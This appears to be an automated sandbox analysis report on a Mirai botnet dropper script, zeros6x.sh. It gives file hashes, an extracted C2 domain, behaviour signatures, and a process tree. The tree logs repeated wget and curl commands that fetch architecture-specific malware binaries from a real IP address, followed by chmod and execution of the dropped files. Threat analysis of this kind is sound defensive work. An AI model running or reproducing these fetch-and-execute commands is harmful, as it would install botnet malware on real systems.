Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    15-11-2024 03:57

General

  • Target

    zeros6x.sh

  • Size

    2KB

  • MD5

    642df6d1dacbef4e6df51eb185893408

  • SHA1

    b5536f3af73f31a31bda2bbf6467a28eb14bd50a

  • SHA256

    c58d8c70b82f2ecb99af380bd00a926428a5883dc910edc92dea36c44bce8eab

  • SHA512

    7deb4c9a41575f1f0092b9430909ce93ccd7273f8900b4dafbd750cbe5926d559a6666dc629611de0db4a33a5c8ab5c9811a783835ae87479f02f45fdfb8a629

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

C2

server.myway-ing.win

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

C2

server.myway-ing.win

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • Changes its process name 1 IoCs
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/zeros6x.sh
    /tmp/zeros6x.sh
    1⤵
    • Writes file to tmp directory
    PID:1517
    • /usr/bin/wget
      wget http://154.216.16.71/zmap.x86
      2⤵
      • Writes file to tmp directory
      PID:1518
    • /usr/bin/curl
      curl -O http://154.216.16.71/zmap.x86
      2⤵
      • Writes file to tmp directory
      PID:1522
    • /bin/cat
      cat zmap.x86
      2⤵
        PID:1523
      • /bin/chmod
        chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1524
      • /tmp/WTH
        ./WTH ssh.x86
        2⤵
        • Deletes itself
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Changes its process name
        PID:1525
      • /usr/bin/wget
        wget http://154.216.16.71/zmap.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1527
      • /usr/bin/curl
        curl -O http://154.216.16.71/zmap.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1529
      • /bin/cat
        cat zmap.mips
        2⤵
        • System Network Configuration Discovery
        PID:1530
      • /bin/chmod
        chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.mips zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1531
      • /tmp/WTH
        ./WTH ssh.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:1532
      • /usr/bin/wget
        wget http://154.216.16.71/zmap.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1534
      • /usr/bin/curl
        curl -O http://154.216.16.71/zmap.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1535
      • /bin/cat
        cat zmap.mpsl
        2⤵
          PID:1536
        • /bin/chmod
          chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.mips zmap.mpsl zmap.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1537
        • /tmp/WTH
          ./WTH ssh.mpsl
          2⤵
          • Executes dropped EXE
          PID:1538
        • /usr/bin/wget
          wget http://154.216.16.71/zmap.arm
          2⤵
          • Writes file to tmp directory
          PID:1540
        • /usr/bin/curl
          curl -O http://154.216.16.71/zmap.arm
          2⤵
          • Writes file to tmp directory
          PID:1541
        • /bin/cat
          cat zmap.arm
          2⤵
            PID:1542
          • /bin/chmod
            chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.mips zmap.mpsl zmap.x86
            2⤵
            • File and Directory Permissions Modification
            PID:1543
          • /tmp/WTH
            ./WTH ssh.arm
            2⤵
            • Executes dropped EXE
            PID:1544
          • /usr/bin/wget
            wget http://154.216.16.71/zmap.arm5
            2⤵
            • Writes file to tmp directory
            PID:1546
          • /usr/bin/curl
            curl -O http://154.216.16.71/zmap.arm5
            2⤵
            • Writes file to tmp directory
            PID:1547
          • /bin/cat
            cat zmap.arm5
            2⤵
              PID:1548
            • /bin/chmod
              chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
              2⤵
              • File and Directory Permissions Modification
              PID:1549
            • /tmp/WTH
              ./WTH ssh.arm5
              2⤵
              • Executes dropped EXE
              PID:1550
            • /usr/bin/wget
              wget http://154.216.16.71/zmap.arm6
              2⤵
              • Writes file to tmp directory
              PID:1552
            • /usr/bin/curl
              curl -O http://154.216.16.71/zmap.arm6
              2⤵
              • Writes file to tmp directory
              PID:1553
            • /bin/cat
              cat zmap.arm6
              2⤵
                PID:1554
              • /bin/chmod
                chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
                2⤵
                • File and Directory Permissions Modification
                PID:1555
              • /tmp/WTH
                ./WTH ssh.arm6
                2⤵
                • Executes dropped EXE
                PID:1556
              • /usr/bin/wget
                wget http://154.216.16.71/zmap.arm7
                2⤵
                • Writes file to tmp directory
                PID:1558
              • /usr/bin/curl
                curl -O http://154.216.16.71/zmap.arm7
                2⤵
                • Writes file to tmp directory
                PID:1559
              • /bin/cat
                cat zmap.arm7
                2⤵
                  PID:1560
                • /bin/chmod
                  chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1561
                • /tmp/WTH
                  ./WTH ssh.arm7
                  2⤵
                  • Executes dropped EXE
                  PID:1562
                • /usr/bin/wget
                  wget http://154.216.16.71/zmap.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:1564
                • /usr/bin/curl
                  curl -O http://154.216.16.71/zmap.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:1565
                • /bin/cat
                  cat zmap.ppc
                  2⤵
                    PID:1566
                  • /bin/chmod
                    chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1567
                  • /tmp/WTH
                    ./WTH ssh.ppc
                    2⤵
                    • Executes dropped EXE
                    PID:1568
                  • /usr/bin/wget
                    wget http://154.216.16.71/zmap.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:1570
                  • /usr/bin/curl
                    curl -O http://154.216.16.71/zmap.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:1571
                  • /bin/cat
                    cat zmap.m68k
                    2⤵
                      PID:1572
                    • /bin/chmod
                      chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1573
                    • /tmp/WTH
                      ./WTH ssh.m68k
                      2⤵
                      • Executes dropped EXE
                      PID:1574
                    • /usr/bin/wget
                      wget http://154.216.16.71/zmap.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:1576
                    • /usr/bin/curl
                      curl -O http://154.216.16.71/zmap.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:1577
                    • /bin/cat
                      cat zmap.spc
                      2⤵
                        PID:1578
                      • /bin/chmod
                        chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1579
                      • /tmp/WTH
                        ./WTH ssh.spc
                        2⤵
                        • Executes dropped EXE
                        PID:1580
                      • /usr/bin/wget
                        wget http://154.216.16.71/zmap.i686
                        2⤵
                          PID:1582
                        • /usr/bin/curl
                          curl -O http://154.216.16.71/zmap.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:1583
                        • /bin/cat
                          cat zmap.i686
                          2⤵
                            PID:1584
                          • /bin/chmod
                            chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1585
                          • /tmp/WTH
                            ./WTH ssh.i686
                            2⤵
                            • Executes dropped EXE
                            PID:1586
                          • /usr/bin/wget
                            wget http://154.216.16.71/zmap.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:1587
                          • /usr/bin/curl
                            curl -O http://154.216.16.71/zmap.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:1588
                          • /bin/cat
                            cat zmap.sh4
                            2⤵
                              PID:1589
                            • /bin/chmod
                              chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1590
                            • /tmp/WTH
                              ./WTH ssh.sh4
                              2⤵
                              • Executes dropped EXE
                              PID:1591
                            • /usr/bin/wget
                              wget http://154.216.16.71/zmap.arc
                              2⤵
                                PID:1593
                              • /usr/bin/curl
                                curl -O http://154.216.16.71/zmap.arc
                                2⤵
                                • Writes file to tmp directory
                                PID:1594
                              • /bin/cat
                                cat zmap.arc
                                2⤵
                                  PID:1595
                                • /bin/chmod
                                  chmod +x config-err-qFPeaa netplan_tp4c7aih snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-7cxOPD WTH zeros6x.sh zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1596
                                • /tmp/WTH
                                  ./WTH ssh.arc
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1597

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/WTH

                                Filesize

                                94KB

                                MD5

                                192b6eb8dcf1ad172064c832fbb47b92

                                SHA1

                                a2af8812f96d0748f3a119a4419ff65dcffb179c

                                SHA256

                                a97f5317845c7053e64d0d8d5e076532de7a2c98189eb7304b8e0e742e61e93d

                                SHA512

                                7ad2efc28832cf1312c00bccf6866669938b0f4787999b7112f750377aa5582b8c508bedba29f482dadceb6a1c3868ce87220cdded44399a1cd325ab9bfd7e9a

                              • /tmp/WTH

                                Filesize

                                94KB

                                MD5

                                b4458e4fa2efcf88bfa2aaeda864519e

                                SHA1

                                8263798736379ed4ce23ef75e4d1f606e05c815b

                                SHA256

                                146ef07d918f77546ba8112e9f307361f9d54af4886dba7fc4ba9e58bc8c5d47

                                SHA512

                                4aa6068f6e3ed09c6706c37f046cd4081a5c7de3e307860e67ff9fff426a281f33dbb027bbcb36b0fd9df6dccd083308d78f43948009ccdcc3676ed4ff063010

                              • /tmp/WTH

                                Filesize

                                74KB

                                MD5

                                8a666a51d2aeb8e106c7c9a302aa3acb

                                SHA1

                                c222cd4760966db8f2461c4dc034f9f3fe912eb2

                                SHA256

                                7b6c76af31adf965e62b5c726ea382825eb5f2aefc7e7331b192e0d4c809fe46

                                SHA512

                                b48dd376f4e801bd6ea3351a1726a45d1b895f25f534d9d211b1023195881211f3b52f02914317899f122d71b88775e912f6092e5fe7d83565b3fd23012a04ac

                              • /tmp/WTH

                                Filesize

                                49KB

                                MD5

                                803219db4e5384144e86c388e558a530

                                SHA1

                                c8cb8ec327c2a53a6a5fa42d8c2886161defff89

                                SHA256

                                0edc353b0bc96801a0a2d654427c9f51991f3500a3a43070d9c5828efadd352e

                                SHA512

                                ccc7ee4ea8f672dd7d8df15e809b6cd9250ec80c0edbd929f0f8ab794c07bcf6ca7aade1f47898348b999f729b1ed6b47d4abed73eb8d2c94eac023fd5cf6332

                              • /tmp/WTH

                                Filesize

                                152KB

                                MD5

                                04bd1585a8ca785193b158d27307e80b

                                SHA1

                                20faf0e3c7f878f134142f71c9f5b7d58ce5ab17

                                SHA256

                                272f6e7e0d6dd601ef8110959bc6907cf4531a87fc3e6a5b3ab7d32d1fa3d2ee

                                SHA512

                                d92b33a37dbd627faaf48ed65f785191ea8fccb104e15801d64160885e6244a7a98bc17ae1a5eb9e0c9d7f4b5f807174c2aff30d7235be4e8a19b271cd1fc2f2

                              • /tmp/zmap.x86

                                Filesize

                                61KB

                                MD5

                                8edb75406d233f4201e85fd2d746c114

                                SHA1

                                79272fc7bf16c8f354efa0b4b59bcdf0f929fa0a

                                SHA256

                                e1f60f41d27140942ad74ef1f1bae26fc98787fed03c91d3c4a33e5390b6d3be

                                SHA512

                                df424a671363b4a9d6480a3210e9b135dfbce80bb9e8af7f2b931c5ba51deb8256d54b505dd418091f03c4139ccec955cc00cfeb1456e791c37d7abb5a1253c5